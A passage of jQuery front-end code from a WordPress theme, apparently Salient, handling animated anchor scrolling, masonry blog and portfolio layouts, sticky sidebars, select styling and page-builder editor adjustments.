						$headerNavSpace = ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 0 : $('#header-space').outerHeight();
						
						if ($('.page-template-template-no-header-footer').length > 0 || $('.page-template-template-no-header').length > 0) {
							$headerNavSpace = 0;
						}
						
						var $timeoutVar = 0;
						
						if ($('.nectar-box-roll').length > 0 && $('.container-wrap.bottomBoxOut').length > 0) {
							nectarBoxRoll.boxRoll(null, -1);
							$timeoutVar = 2050;
						}
						
						setTimeout(function () {
							
							var $scrollTopDistance;
							
							if ($('body[data-permanent-transparent="1"]').length == 0) {
								
								if (!$body.hasClass('mobile')) {
									var $resize = ($('#header-outer[data-header-resize="0"]').length > 0) ? 0 : parseInt(logoShrinkNum) + headerPadding2 * 2;
									if ($('#header-outer[data-remove-fixed="1"]').length > 0) {
										$headerNavSpace = 0;
									}
									$scrollTopDistance = $hashObj.offset().top - parseInt($headerNavSpace) + $resize + 3 - nectarDOMInfo.adminBarHeight;
									

									// Condense
									if ($('body.mobile').length == 0 && $('#header-outer[data-condense="true"]').length > 0) {
										
										var $headerSpan9       = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9'),
										$headerHeightStored    = $headerOuterEl.height(),
										$headerHeightCondensed = $headerHeightStored - (parseInt($headerSpan9.height()) + parseInt($('#header-outer #logo').css('margin-top')));
										
										$scrollTopDistance = $hashObj.offset().top - parseInt($headerNavSpace) + $headerHeightCondensed - nectarDOMInfo.adminBarHeight;
									}

								} else {
									$scrollTopDistance = ($('#header-outer[data-mobile-fixed="1"]').length > 0) ? $hashObj.offset().top + 2 - $headerNavSpace + nectarDOMInfo.adminBarHeight : $hashObj.offset().top - nectarDOMInfo.adminBarHeight + 1;
								}
								
							} else {
								$scrollTopDistance = $hashObj.offset().top - nectarDOMInfo.adminBarHeight + 1;
							}
							
							if ($('body[data-hhun="1"]').length > 0 && $('#header-outer[data-remove-fixed="1"]').length == 0) {
								
								// Alter offset 
								if ($('#header-outer.detached').length == 0) {
									$scrollTopDistance = $scrollTopDistance + $headerNavSpace;
								}
							}
							
							var $pageSubMenu = ($('.page-submenu[data-sticky="true"]').length > 0) ? $('.page-submenu').height() : 0;
							var $headerSecondary;
							
							if ($('body.material').length > 0 &&
								$headerSecondaryEl.length > 0 &&
								$('body[data-hhun="1"]').length == 0 &&
								$('#header-outer[data-remove-fixed="1"]').length == 0 &&
								!$body.hasClass('mobile')) {
								
								$headerSecondary = $headerSecondaryEl.height();
								
							} else {
								$headerSecondary = 0;
							}
							
							nectar_scrollToY($scrollTopDistance - $pageSubMenu + $headerSecondary, 700, 'easeInOutQuint');
							
						}, $timeoutVar);
					}
				}
				
				
				/**
				* Initialize page load hash functionality
				*
				* @since 10.5
				*/
				function pageLoadHashInit() {
				
					if ($('body[data-animated-anchors="true"]').length > 0) {
						if ($('.nectar-box-roll').length == 0 && $('#nectar_fullscreen_rows').length == 0) {
							
							// Inside tabs
							if (typeof nectarGetQueryParam['tab'] != 'undefined') {
								setTimeout(function () {
									pageLoadHash();
								}, 800);
							}
							// Regular
							else {
								pageLoadHash();
							}
							
						}
						
						if ($('#nectar_fullscreen_rows[data-mobile-disable="on"]').length > 0 && $('.nectar-box-roll').length == 0 && 
						nectarDOMInfo.usingMobileBrowser) {
							pageLoadHash();
						}
						
					}
					
				}
				
				
				/**
				* Animated anchor link theme option.
				*
				* @since 10.5
				*/
				function animatedAnchorLinks() {
					
					if ($('body[data-animated-anchors="true"]').length > 0 || 
					$('.single-product [data-gallery-style="left_thumb_sticky"]').length > 0) {
						
						var headerPadding2 = headerPadding - headerPadding / 1.8;
						
						setTimeout(scrollSpyInit, 200);
						
						var $animatedScrollingTimeout;
						
						$body.on('click', '#header-outer nav .sf-menu a, #footer-outer .nectar-button, #mobile-menu li a, .container-wrap a:not(.wpb_tabs_nav a):not(.um-woo-view-order):not(.magnific):not([data-fancybox]):not(.woocommerce-tabs .tabs a):not(.slider-prev):not(.slider-next):not(.testimonial-next-prev a), .swiper-slide .button a, #slide-out-widget-area a, #slide-out-widget-area .inner div a', function (e) {
						
							var $hash = $(this).prop("hash");
							
							if( !$(this).hasClass('nectar-next-section') ) {
								$body.addClass('animated-scrolling');
							}
							
							clearTimeout($animatedScrollingTimeout);
							
							$animatedScrollingTimeout = setTimeout(function () {
								$body.removeClass('animated-scrolling');
							}, 850);
							
							var $headerNavSpace = ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 0 : $('#header-space').outerHeight();
							
							if ($('.page-template-template-no-header-footer').length > 0 || $('.page-template-template-no-header').length > 0) {
								$headerNavSpace = 0;
							}
							
							if ($hash && $body.find($hash).length > 0 && $hash != '#top' && $hash != '' && $(this).attr('href').indexOf(window.location.href.split("#")[0]) !== -1 || 
							$(this).is('[href^="#"]') && $hash != '' && $body.find($hash).length > 0 && $hash != '#top') {
	
								//update hash
								if (!$(this).hasClass('skip-hash')) {
									if (history.pushState) {
										history.pushState(null, null, $hash);
									} else {
										location.hash = $hash;
									}
								}
								
								if ($(this).parents('ul').length > 0) {
									
									$(this)
										.parents('ul')
										.find('li')
										.removeClass('current-menu-item');
								}
								
								// Side widget area click
								if ($(this).parents('#slide-out-widget-area').length > 0) {
									
									if ($('body.material[data-slide-out-widget-area-style="slide-out-from-right"].material-ocm-open').length > 0) {
										
										$('body > .slide_out_area_close')
											.addClass('non-human-allowed')
											.trigger('click');
											
										// Sroll
										var $clickedLinkStore = $(this);
										
										setTimeout(function () {
											$clickedLinkStore.trigger('click');
										}, 1000);
										
									} else {
										$('#slide-out-widget-area .slide_out_area_close')
											.addClass('non-human-allowed')
											.trigger('click');
									}
									
									setTimeout(function () {
										if ($('body.material[data-slide-out-widget-area-style="slide-out-from-right"]').length > 0) {
											$('body > .slide_out_area_close').removeClass('non-human-allowed');
											
										} else {
											$('#slide-out-widget-area .slide_out_area_close').removeClass('non-human-allowed');
										}
									}, 100);
								}
								
								// Mobile menu click
								if ( $(this).parents('#mobile-menu').length > 0 ) {
									$('.slide-out-widget-area-toggle.mobile-icon a')
										.addClass('non-human-allowed')
										.trigger('click');
										
										setTimeout(function () {
												$('.slide-out-widget-area-toggle.mobile-icon a').removeClass('non-human-allowed');
										}, 100);
								}
								
								var $mobileMenuHeight = ($(this).parents('#mobile-menu').length > 0) ? $(this).parents('#mobile-menu').height() : null;
								var $timeoutVar       = 1;
								var $that             = $(this);
								
								if ($('.nectar-box-roll').length > 0 && $('.container-wrap.bottomBoxOut').length > 0) {
									nectarBoxRoll.boxRoll(null, -1);
									$timeoutVar = 2050;
								}
								
								
								setTimeout(function () {
									
									var $scrollTopDistance;
									
									// Scrolling
									if ($('body[data-permanent-transparent="1"]').length == 0) {
										
										if (!$body.hasClass('mobile')) {
											var $resize = ($('#header-outer[data-header-resize="0"]').length > 0) ? 0 : parseInt(logoShrinkNum) + headerPadding2 * 2;
											if ($('#header-outer[data-remove-fixed="1"]').length > 0) {
												$headerNavSpace = 0;
											}
											
											$scrollTopDistance = $($hash).offset().top - $mobileMenuHeight - parseInt($headerNavSpace) + $resize + 3 - nectarDOMInfo.adminBarHeight;
											
											// Condense
											if ($('body.mobile').length == 0 && $('#header-outer[data-condense="true"]').length > 0) {
												
												var $headerSpan9       = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9'),
												$headerHeightStored    = $headerOuterEl.height(),
												$headerHeightCondensed = $headerHeightStored - (parseInt($headerSpan9.height()) + parseInt($('#header-outer #logo').css('margin-top')));
												$scrollTopDistance     = $($hash).offset().top - parseInt($headerNavSpace) + $headerHeightCondensed - nectarDOMInfo.adminBarHeight;
												
											}
											
											
										} else {
											$scrollTopDistance = ($('#header-outer[data-mobile-fixed="1"]').length > 0) ? $($hash).offset().top + 2 - $headerNavSpace + nectarDOMInfo.adminBarHeight : $($hash).offset().top - $mobileMenuHeight - nectarDOMInfo.adminBarHeight + 1;
										}
										
									} else {
										$scrollTopDistance = $($hash).offset().top - nectarDOMInfo.adminBarHeight + 1;
									}
									
									if ($('body[data-hhun="1"]').length > 0 && $('#header-outer[data-remove-fixed="1"]').length == 0) {
										
										// Alter offset 
										if ($('#header-outer.detached').length == 0 || $that.parents('.page-submenu[data-sticky="true"]').length > 0) {
											$scrollTopDistance = $scrollTopDistance + $headerNavSpace;
										}
										
										// Hide top header
										if ($that.parents('.page-submenu[data-sticky="true"]').length > 0) {
											
											$('#header-outer.detached').addClass('invisible');
											$('.page-submenu')
												.addClass('header-not-visible')
												.css('transform', 'translateY(0px)');
												
										}
									}
									
									var $pageSubMenu = ($that.parents('.page-submenu[data-sticky="true"]').length > 0) ? $that.parents('.page-submenu').height() : 0;
									var $headerSecondary;
									
									if ($('body.material').length > 0 &&
										$headerSecondaryEl.length > 0 &&
										$('body[data-hhun="1"]').length == 0 &&
										$('#header-outer[data-remove-fixed="1"]').length == 0 &&
										!$body.hasClass('mobile')) {
										
										$headerSecondary = $headerSecondaryEl.height();
										
									} else {
										
										if($('body[data-hhun="1"]').length > 0 && 
											$headerSecondaryEl.length > 0 &&
											!$body.hasClass('mobile') &&
											$('#header-outer[data-remove-fixed="1"]').length == 0) {
											$headerSecondary = $headerSecondaryEl.height();
										} else {
											$headerSecondary = 0;
										}

									}

	
									nectar_scrollToY($scrollTopDistance - $pageSubMenu + $headerSecondary, 700, 'easeInOutQuint');
									
								}, $timeoutVar);
								
								e.preventDefault();
								
							}
							
							if ($hash == '#top') {
								// Side widget area click
								if ($(this).parents('#slide-out-widget-area').length > 0) {
									$('#slide-out-widget-area .slide_out_area_close').trigger('click');
								}
							}
							
						});
						
						
					}
					
				}
				
				
				
				
				
				
				/**
				* Search results masonry layout.
				*
				* @since 10.0
				*/
				function searchResultMasonry() {
					
					var $searchContainer = $('#search-results'),
					$dividerNum          = ($searchContainer.is('[data-layout="masonry-no-sidebar"]')) ? 4 : 3;
					
					$searchContainer.imagesLoaded(function () {
						
						$searchContainer.isotope({
							itemSelector: '.result',
							layoutMode: 'packery',
							packery: {
								columnWidth: $('#search-results').width() / $dividerNum
							}
						});
						
						$searchContainer
							.find('article')
							.css('opacity', '1');
						
					});
					
					$window.on('resize', function () {
						$searchContainer.isotope({
							layoutMode: 'packery',
							packery: {
								columnWidth: $('#search-results').width() / $dividerNum
							}
						});
					});
					
				}
				
				
				/**
				* Search results masonry layout initialization.
				*
				* @since 10.5
				*/
				function searchResultMasonryInit() {
					if ($('body.search-results').length > 0 && 
					$('#search-results article').length > 0 && 
					$('#search-results[data-layout="list-no-sidebar"]').length == 0) {
						searchResultMasonry();
					}
				}
				


			
				/**
				* Custom colors for portfolio grid elements.
				*
				* @since 10.5
				*/
				function portfolioCustomColoring() {
					
					//portfolio colors
					if ($('.portfolio-items .col .style-3-alt').length > 0 || 
					$('.portfolio-items .col .style-3').length > 0 || 
					$('.portfolio-items .col .style-2').length > 0 || 
					$('.portfolio-items .col .style-5').length > 0) {
						
						var portfolioColorCss = '';
						
						$('.portfolio-items .col').each(function () {
							
							var $titleColor = $(this).attr('data-title-color'),
							$subTitleColor  = $(this).attr('data-subtitle-color');
							
							if ($titleColor.length > 0) {
								portfolioColorCss += '.col[data-title-color="' + $titleColor + '"] .vert-center h3, .portfolio-items[data-ps="6"] .col[data-title-color="' + $titleColor + '"] .work-meta h4 { color: ' + $titleColor + '!important; } ';
								portfolioColorCss += ' .portfolio-items[data-ps="8"] .col[data-title-color="' + $titleColor + '"] .line { background-color: ' + $titleColor + '; }';
								portfolioColorCss += '.portfolio-items[data-ps="8"] .col[data-title-color="' + $titleColor + '"] .next-arrow line { stroke: ' + $titleColor + '; } ';
							}
							if ($subTitleColor.length > 0) {
								portfolioColorCss += '.col[data-subtitle-color="' + $subTitleColor + '"] .vert-center p, .portfolio-items[data-ps="6"] .col[data-title-color="' + $titleColor + '"] .work-meta p { color: ' + $subTitleColor + '; } ';
							}
							
						});
						
						//style
						nectarCreateStyle(portfolioColorCss, 'nectar-portfolio-colors');
						
					}
					
				}
				
				
				
				
				/**
				* Single post pagination/recent post mouse events
				*
				* @since 10.5
				*/
				function postMouseEvents() {
					
					
					$body.on('mouseover', '.post-area.featured_img_left .grav-wrap .text a, .masonry.material .masonry-blog-item .grav-wrap .text a, .blog-recent[data-style="material"] .grav-wrap .text a', function () {
						$(this).parents('.grav-wrap')
							.find('img')
							.addClass('hovered');
					});
					
					$body.on('mouseleave', '.post-area.featured_img_left .grav-wrap .text a, .masonry.material .masonry-blog-item .grav-wrap .text a, .blog-recent[data-style="material"] .grav-wrap .text a', function () {
						$(this).parents('.grav-wrap')
							.find('img')
							.removeClass('hovered');
					});
					
					$body.on('mouseleave', '.container-wrap[data-nav-pos="after_project_2"] #portfolio-nav ul li, .blog_next_prev_buttons[data-style="fullwidth_next_prev"] ul li', function () {
						$(this).addClass('mouse-leaving');
					});
					
				}
				
				

				
				/**
				* Masonry portfolio initialization.
				*
				* @since 10.5
				*/
				function masonryPortfolioInit() {
					
					$portfolio_containers = [];
					
					$('.portfolio-items:not(.carousel)').each(function (i) {
						
						$(this).attr('instance', i);
						$(this).parent().parent().find('div[class^=portfolio-filters]').attr('instance', i);
						
						if (typeof SalientPortfolio !== 'undefined') {
							$portfolio_containers[i] = new SalientPortfolio($(this), fullWidthContentColumns);
						}
						
					});
					
				}
				
				


				/**
				* Perspective load in styling.
				*
				* @since 8.0
				*/
				function updatePerspectiveOrigin() {
						
						if( nectarDOMInfo.winW > 690 ) {
							$('.posts-container[data-load-animation="perspective"]').css('perspective-origin', '50% ' + (nectarDOMInfo.scrollTop + nectarDOMInfo.winH) + 'px');
						}
						requestAnimationFrame(updatePerspectiveOrigin);
					
				}
				
				
				/**
				* Perspective load in styling.
				*
				* @since 8.0
				*/
				function updatePerspectiveOriginInit() {
					
					if ($('.posts-container[data-load-animation="perspective"]').length > 0) {
						requestAnimationFrame(updatePerspectiveOrigin);
					}
					
				}
				

				
				/**
				* Blog load in animation.
				*
				* @since 3.0
				*/
				function blogLoadIn(post_container) {
					
					if (post_container.attr('data-load-animation') == 'none') {
						
						post_container
							.find('.inner-wrap')
							.removeClass('animated');

					} else {
						
						post_container.find('article').each(function (i) {
							
							// Loaded visible
							if ($(this).visible(true)) {
								
								$(this).delay(110 * i).queue(function (next) {
									$(this).addClass("animated-in");
									next();
								});
								
								
							} else {
								
								// Not already visible
								var $that    = $(this);
								var waypoint = new Waypoint({
									
									element: $that,
									handler: function () {
										
										setTimeout(function () {
											$that.addClass("animated-in");
										}, 80 * $that.attr('data-delay-amount'));
										
										waypoint.destroy();
									},
									offset: '90%'
									
								});
							}
							
						});
						
					}
					
				}
				

				/**
				* Masonry blog initialization.
				*
				* @since 10.5
				*/
				function masonryBlogInit() {
					
					$nectarMasonryBlogs = [];
					
					$('.posts-container').each(function (i) {
						
						if ($(this).parent().hasClass('masonry') && !$(this).parent().hasClass('auto_meta_overlaid_spaced')) {
							
							if (typeof NectarMasonryBlog == 'undefined') {
								return;
							}
							
							$nectarMasonryBlogs[i] = new NectarMasonryBlog($(this), fullWidthSections, blogLoadIn);
							
						} else {
							
							blogLoadIn($(this));
							
						}
						
					});
				}
				

				
				/**
				* Sticky Sidebar initialization.
				*
				* @since 10.5
				*/
				function stickySidebarInit() {
					
					if (!$().theiaStickySidebar) {
						return;
					}
					
					$('#sidebar[data-nectar-ss="true"], #sidebar[data-nectar-ss="1"]').each(function () {
						
						// Padding from top of screen
						var $ssExtraTopSpace = 50;
						
						if ($('#header-outer[data-remove-fixed="0"]').length > 0 && 
						$('body[data-hhun="1"]').length == 0 && 
						$('#header-outer[data-format="left-header"]').length == 0) {
							
							$ssExtraTopSpace += $headerOuterEl.outerHeight();
							
							// Resize effect
							if ($('#header-outer[data-shrink-num][data-header-resize="1"]').length > 0) {
								var headerPadding2 = parseInt($headerOuterEl.attr('data-padding')) - parseInt($headerOuterEl.attr('data-padding')) / 1.8;
								$ssExtraTopSpace -= logoShrinkNum;
								$ssExtraTopSpace -= headerPadding2;
							}
							
							// Condense
							if ($('body.mobile').length == 0 && $('#header-outer[data-condense="true"]').length > 0) {
								
								var $headerSpan9 = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9');
								$ssExtraTopSpace = 50;
								$ssExtraTopSpace += $headerOuterEl.height() - (parseInt($headerSpan9.position().top) - parseInt($('#header-outer #logo').css('margin-top'))) - parseInt(nectarDOMInfo.secondaryHeaderHeight);
							}

						}
						
						if ($wpAdminBar.length > 0) {
							$ssExtraTopSpace += $wpAdminBar.outerHeight();
						}
						

						if ($(this).parents('.wpb_widgetised_column').length > 0) {
							
							if ($('body.vc_editor').length > 0) {
								// Skip processing.
							} else {
								$(this).parents('.wpb_column').theiaStickySidebar({
									additionalMarginTop: $ssExtraTopSpace,
									updateSidebarHeight: false
								});
							}
							
						} else {
							$(this).theiaStickySidebar({
								additionalMarginTop: $ssExtraTopSpace,
								updateSidebarHeight: false
							});
						}
						
					});
				}
				

				
				
				
				/**
				* Section down arrow animated link
				*
				* @since 10.5
				*/
				function sectionDownArrowEvent() {
					
					var headerPadding2 = headerPadding - headerPadding / 1.8;
					
					$body.on('click', '.section-down-arrow, .scroll-down-wrap > .minimal-arrow', function () {
						
						if ($(this).parents('.nectar-box-roll').length > 0) {
							return false;
						}
						
						var $currentSection = $(this).parents('#page-header-bg'),
						$topDistance        = $currentSection.height(),
						$offset             = ($currentSection.parents('.first-section').length == 0 || $('body[data-transparent-header="false"]').length > 0) ? $currentSection.offset().top : 0,
						$bodyBorderSize     = ($bodyBorderTop.length > 0 && $window.width() > 1000) ? $bodyBorderTop.height() : 0,
						$headerNavSpace     = ($('body[data-header-format="left-header"]').length > 0) ? 0 : $('#header-space').height(),
						$materialSecondary  = 0;
						
						if ($('body.material').length > 0 && $headerSecondaryEl.length > 0) {
							$materialSecondary = $headerSecondaryEl.height();
						}
						
						if ($('body[data-permanent-transparent="1"]').length == 0) {
							
							// Regular
							if (!$body.hasClass('mobile')) {
								
								if ($('body[data-hhun="1"]').length > 0 && $('#header-outer[data-remove-fixed="1"]').length == 0) {
									$('body,html').stop().animate({
										scrollTop: parseInt($topDistance) + $offset + 2 - $bodyBorderSize * 2
									}, 1000, 'easeInOutCubic');
								} else {
									
									var $resize = ($('#header-outer[data-header-resize="0"]').length > 0) ? 0 : parseInt(logoShrinkNum) + headerPadding2 * 2;
									if ($('#header-outer[data-remove-fixed="1"]').length > 0) {
										$headerNavSpace = 0;
										$offset = 0;
									}
									
									// Condense
									if ($('body.mobile').length == 0 && $('#header-outer[data-condense="true"]').length > 0) {
										var $headerSpan9 = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9');
										$headerNavSpace = $headerOuterEl.height() - (parseInt($headerSpan9.position().top) - parseInt($('#header-outer #logo').css('margin-top'))) - parseInt(nectarDOMInfo.secondaryHeaderHeight);
									}
									
									$('body,html').stop().animate({
										scrollTop: parseInt($topDistance - $headerNavSpace) + $resize + 3 + $offset + $materialSecondary
									}, 1000, 'easeInOutCubic');
									
								}
								
							} else {
								
								var $scrollPos;
								
								if($('#header-outer[data-mobile-fixed="1"]').length > 0) {
									$scrollPos = parseInt($topDistance) - $headerNavSpace + parseInt($currentSection.offset().top) + 2;
								} else {
									$scrollPos = parseInt($topDistance) + parseInt($currentSection.offset().top) + 2;
								}
								
								$('body,html').stop().animate({
									scrollTop: $scrollPos - $bodyBorderSize * 2
								}, 1000, 'easeInOutCubic');
							}
							
						} else {
							// Permanent transparent
							$('body,html').stop().animate({
								scrollTop: parseInt($topDistance) + parseInt($currentSection.offset().top) + 2 - $bodyBorderSize * 2
							}, 1000, 'easeInOutCubic');
						}
						return false;
					});
					
				}
				
				
				

				
				/**
				* Displace filter column/row BG effect - fullpage
				*
				* @since 10.5
				*/
				function nectarLiquidBGFP() {
					
					$('.nectar-liquid-bg').removeClass('animated-in');
					
					for (var k = 0; k < $liquidBG_EL.length; k++) {
						
						if ($liquidBG_EL[k].animationType == 'displace-filter-fade' && $($liquidBG_EL[k].canvasContainer).parents('.fp-section.active').length > 0) {
							
							//add bg to container
							if ($($liquidBG_EL[k].canvasContainer).find('.image-added-to-stage').length == 0) {
								$liquidBG_EL[k].imgContainer.addChild($liquidBG_EL[k].bg);
							}
							
							$($liquidBG_EL[k].canvasContainer)
								.find('.nectar-liquid-bg')
								.addClass('image-added-to-stage');
							
							$liquidBG_EL[k].animateProps($liquidBG_EL[k]);
							
						}
					}
				}
				
				
				/**
				* Page Full Screen Rows
				*
				* @since 10.5
				*/
				function nectarFullPageInit() {
					
					if ($('#nectar_fullscreen_rows').length > 0 && $().fullpage) {
						
						$fullscreenSelector = (window.vc_iframe) ? '.vc_element.vc_vc_row.active ' : '.wpb_row.active ';
						
						$nectarFullPage = new NectarFullScreenRows(waypoints, $mouseParallaxScenes, nectarLiquidBGFP, nectarDOMInfo, responsiveTooltips, $standAnimatedColTimeout, $svgIcons);
						
					}
					
				}
				
				

				
				/**
				* Cross browser adjustments.
				*
				* @since 1.0
				*/
				function crossBrowserAdjust() {
					
					// Add specific class if on device for better tablet tracking.
					if (nectarDOMInfo.usingMobileBrowser) {
						$body.addClass('using-mobile-browser');
					}
					
					// Add class for old IE.
					var ua = window.navigator.userAgent;
					var msie = ua.indexOf("Edge/");
					if (msie > 0) {
						$body.addClass('msie');
					}
					
					// For users updating to 8 with a custom, old header template file
					if ($('html.js').length == 0) {
						$('html').removeClass('no-js').addClass('js');
					}
					
					//remove br's from code tag
					$('code').find('br').remove();
					
					// Contact form 7.
					$('.wpcf7-form p:has(input[type=submit])').css('padding-bottom', '0px');
					
					$('.full-width-content .wpcf7-submit').on('click', function () {
						setTimeout(function () {
							fullWidthContentColumns();
						}, 1000);
						setTimeout(function () {
							fullWidthContentColumns();
						}, 2000);
					});
					
					// Gravity form inside fw content row
					$('.gform_body').on('click', function () {
						setTimeout(function () {
							fullWidthContentColumns();
						}, 200);
					});
					
					// Popup Maker.
					$('.pum.pum-theme-salient-page-builder-optimized button.pum-close').wrapInner('<span />');
					
					// pum inside fspr
					if ($('#nectar_fullscreen_rows').length > 0 && 
					$('.pum-container .pum-content > .wpb_row .full-page-inner > .container > .span_12').length > 0) {
						$('.pum-container .pum-content > .wpb_row .full-page-inner > .container > .span_12').unwrap();
					}
										
					// Blog bottom padding
					if ($('.single .blog_next_prev_buttons').length > 0) { 
						$('.container-wrap').css('padding-bottom', 0);
					}
					
					// Remove margin on last cols inside of full width sections 
					$('.full-width-section').each(function () {
						$(this).find('> .span_12 > div.col_last').last().css('margin-bottom', '0');
					});
					
					// Remove boxed style from full width content
					$('.full-width-content .col.boxed').removeClass('boxed');
					
					// Neg marg z-index adjust
					$('.wpb_column.neg-marg').parents('.wpb_row').css('z-index', '110');
					

				}
				
			
			
				
				//vc col mobile fixes
				function vcMobileColumns() {
					
						$('.wpb_row').each(function () {
							if (typeof $(this).find('.span_12').offset() != 'undefined') {
								
								$(this).find('[class*="vc_col-"]').each(function () {
									
									var $firstChildOffset = $(this).parents('.span_12').offset().left;
									
									$(this).removeClass('no-left-margin');
									
									if ($(this).offset().left < $firstChildOffset + 27) {
										$(this).addClass('no-left-margin');
									} else {
										$(this).removeClass('no-left-margin');
									}
								});
							}
						});
				}
				
				function vcMobileColumnsInit() {
					
					var $winDOMWidth   = nectarDOMInfo.winW,
					$winDOMHeight      = nectarDOMInfo.winH,
					$orientChangeTrack = 0;
					
					// Only needed in legacy column setups.
					if( $body.is('[data-flex-cols="true"]') ) {
						return;
					}
					
					if ($('[class*="vc_col-xs-"], [class*="vc_col-md-"], [class*="vc_col-lg-"]').length > 0) {
						
						// Trigger immediately.
						vcMobileColumns();
						
						// Resize.
						if( !nectarDOMInfo.usingMobileBrowser ) {
							// Bind normally for desktop.
							$window.on('resize',vcMobileColumns);
						}
						else {
							
							// For mobile make sure the orientation has changed.
							window.addEventListener("orientationchange", function () {
								$orientChangeTrack = 1;
							});
							
							$window.on('resize', function () {
								
								if (($window.width() != $winDOMWidth && $window.height != $winDOMHeight) || $orientChangeTrack === 1) {
									
									vcMobileColumns();
									
									// Store the current window dimensions.
									$winDOMWidth  = nectarDOMInfo.winW;
									$winDOMHeight = nectarDOMInfo.winH;
									
									// Reset orientation change tracker.
									$orientChangeTrack = 0;
								}
								
							});
							
							
						} // end mobile only. 

					} // endif vc offset cols found.
					
					
				}
				
			
				

				/**
				* Select2 plugin initialization.
				*
				* @since 5.0
				*/
				function select2Init() {
					
					$('select:not(.state_select):not(.country_select):not(.comment-form-rating #rating):not(#tribe-bar-form select):not(.woocommerce-currency-switcher)').each(function () {
						
						// Prevent search from triggering on small devices.
						var $minimumToSearch = ( nectarDOMInfo.winW > 690 ) ? 7 : 200;
						
						if ($(this).parents('#buddypress').length == 0) {
							
							if ($(this).parents('.woocommerce-ordering').length == 0) {
								$(this).select2({
									minimumResultsForSearch: $minimumToSearch,
									width: '100%'
								});
							} else {
								$(this).select2({
									minimumResultsForSearch: $minimumToSearch,
									dropdownAutoWidth: true
								});
							}
						}
						
					});
				}
				
				
				/**
				* Fancy select styling theme option.
				*
				* @since 10.5
				*/
				function fancySelectStyling() {
				
					if ( $('body[data-fancy-form-rcs="1"]').length > 0 ) {
						
						$('select:not(.comment-form-rating #rating)').each(function () {
							
							var $selector;
							
							//cf7
							if ($(this).parents('.wpcf7-form-control-wrap').length > 0) {
								
								//select 2 already initialized
								if ($(this).parents('.wpcf7-form-control-wrap').find('.select2-container').length > 0) {
									$selector = $($(this).prev('.select2-container'));
								} else {
									$selector = $(this);
								}
								
								//if label is found
								if ($selector.parents('.wpcf7-form-control-wrap').parent().find('label').length == 1) {
									$selector.parents('.wpcf7-form-control-wrap').parent().wrapInner('<div class="fancy-select-wrap" />');
								} else {
									//default wrap
									$selector.wrap('<div class="fancy-select-wrap" />');
								}
							}
							//default
							else {
								
								//select 2 already initialized
								if ($(this).prev('.select2-container').length > 0) {
									$selector = $(this).prev('.select2-container');
								} else {
									$selector = $(this);
								}
								
								if ($(this).parents('#buddypress').length == 0 && $(this).parents('.widget_categories').length == 0) {
									//if label is found
									if ($selector.prev('label').length == 1) {
										$selector.prev('label').andSelf().wrapAll('<div class="fancy-select-wrap" />');
									} else if ($selector.next('label').length == 1) {
										$selector.next('label').andSelf().wrapAll('<div class="fancy-select-wrap" />');
									} else {
										//default wrap
										$selector.wrap('<div class="fancy-select-wrap" />');
									}
								}
								
							}
						});
						
						select2Init();
						
					}
						
				}
				
				

				
				
				/**
				* Back/Forward Safari cache assist.
				*
				* @since 10.5
				*/
				function bfCacheAssist() {
					
					//Back/forward cache OCM close
					if (navigator.userAgent.indexOf('Safari') != -1 && navigator.userAgent.indexOf('Chrome') == -1 || 
					navigator.userAgent.match(/(iPod|iPhone|iPad)/)) {
						
						window.onpageshow = function (event) {
							
							if (event.persisted) {
								
								// Play video BGs
								$('.nectar-video-wrap, .nectar-slider-wrap .swiper-slide .video-wrap').each(function () {
									
									if ($(this).find('video').length > 0) {
										$(this).find('video')[0].play();
									}
									
								});
								
								
								// Close mobile nav
								
								//// Material Skin.
								if ($('body.material-ocm-open').length > 0) {
									$('body > .slide_out_area_close').addClass('non-human-allowed').trigger('click');
									
									setTimeout(function () {
										$('body > .slide_out_area_close').removeClass('non-human-allowed');
									}, 100);
									
								} else if ($('#slide-out-widget-area.slide-out-from-right-hover.open').length > 0 && navigator.userAgent.match(/(iPod|iPhone|iPad)/)) {
									OCM_mobileSlideOutRightHoverCloseCheck();
								}
								// Others
								else if ($('#slide-out-widget-area.fullscreen.open').length > 0 || 
								$('#slide-out-widget-area.fullscreen-alt.open').length > 0 || 
								$('#slide-out-widget-area.slide-out-from-right.open').length > 0) {
									
									$('#slide-out-widget-area .slide_out_area_close').addClass('non-human-allowed');
									$('.slide-out-widget-area-toggle:not(.std-menu) a.open')
										.addClass('non-human-allowed')
										.trigger('click');
										
									setTimeout(function () {
										$('#slide-out-widget-area .slide_out_area_close').removeClass('non-human-allowed');
									}, 100);
									
								}
								
							} // Loaded from bf cache
							
						}; // onpage show
						
					} 
					
				}
				
				
			
				
				

				/*-------------------------------------------------------------------------*/
				/*	WPBakery Frontend Editor
				/*-------------------------------------------------------------------------*/
				
				/**
				* Control adjustments
				*
				* @since 10.0
				*/
				function addRowCtrls() {
					
					//remove padding for rows with only fullwidth ns
					$('.wpb_row').removeClass('only-ns');
					
					$('.nectar-slider-wrap[data-full-width="true"], .page-submenu, .portfolio-items[data-col-num="elastic"]:not(.fullwidth-constrained), .blog-fullwidth-wrap')
						.parents('.wpb_row')
						.addClass('only-ns');
					
					//padding when column contains item that could get lost under column controls 
					$('body.vc_editor.compose-mode .wpb_row .vc_vc_column > .wpb_column > .vc_column-inner').each(function() {
						
						if ($(this).find('> .vc_element-container > div').length > 0) {
							
							if ($(this).find('> .vc_element-container > div:first-child').is('.vc_vc_row_inner')) {
								$(this).find('> .vc_element-container > div:first-child').addClass('first-inner-row-el');
							} else {
								$(this).find('> .vc_element-container > div:first-child').removeClass('first-inner-row-el');
							}
							
						}
						
					});
					
				} //addRowCtrl end
				
				
				/**
				* Convert front end padding
				*
				* Needed when the flexbox grid is not active due to
				* different markup in front end page builder view.
				*
				* @since 10.0
				*/
				function convertFrontEndPadding() {
					
					$('.vc_element > .wpb_column[class*="padding-"][class*="-percent"]').each(function() {
						
						var $elPaddingPercent = 4;
						
						var elclassName = this.className.match(/padding-\d+/);
						if (elclassName) {
							$elPaddingPercent = elclassName[0].match(/\d+/);
							if ($elPaddingPercent) {
								$elPaddingPercent = $elPaddingPercent[0] / 100;
							} else {
								$elPaddingPercent = 0;
							}
						}
						
						if ($elPaddingPercent) {
							var $parentRowWidth = $(this).parents('.span_12').width();
							
							if ($(this).is('[data-padding-pos="all"]')) {
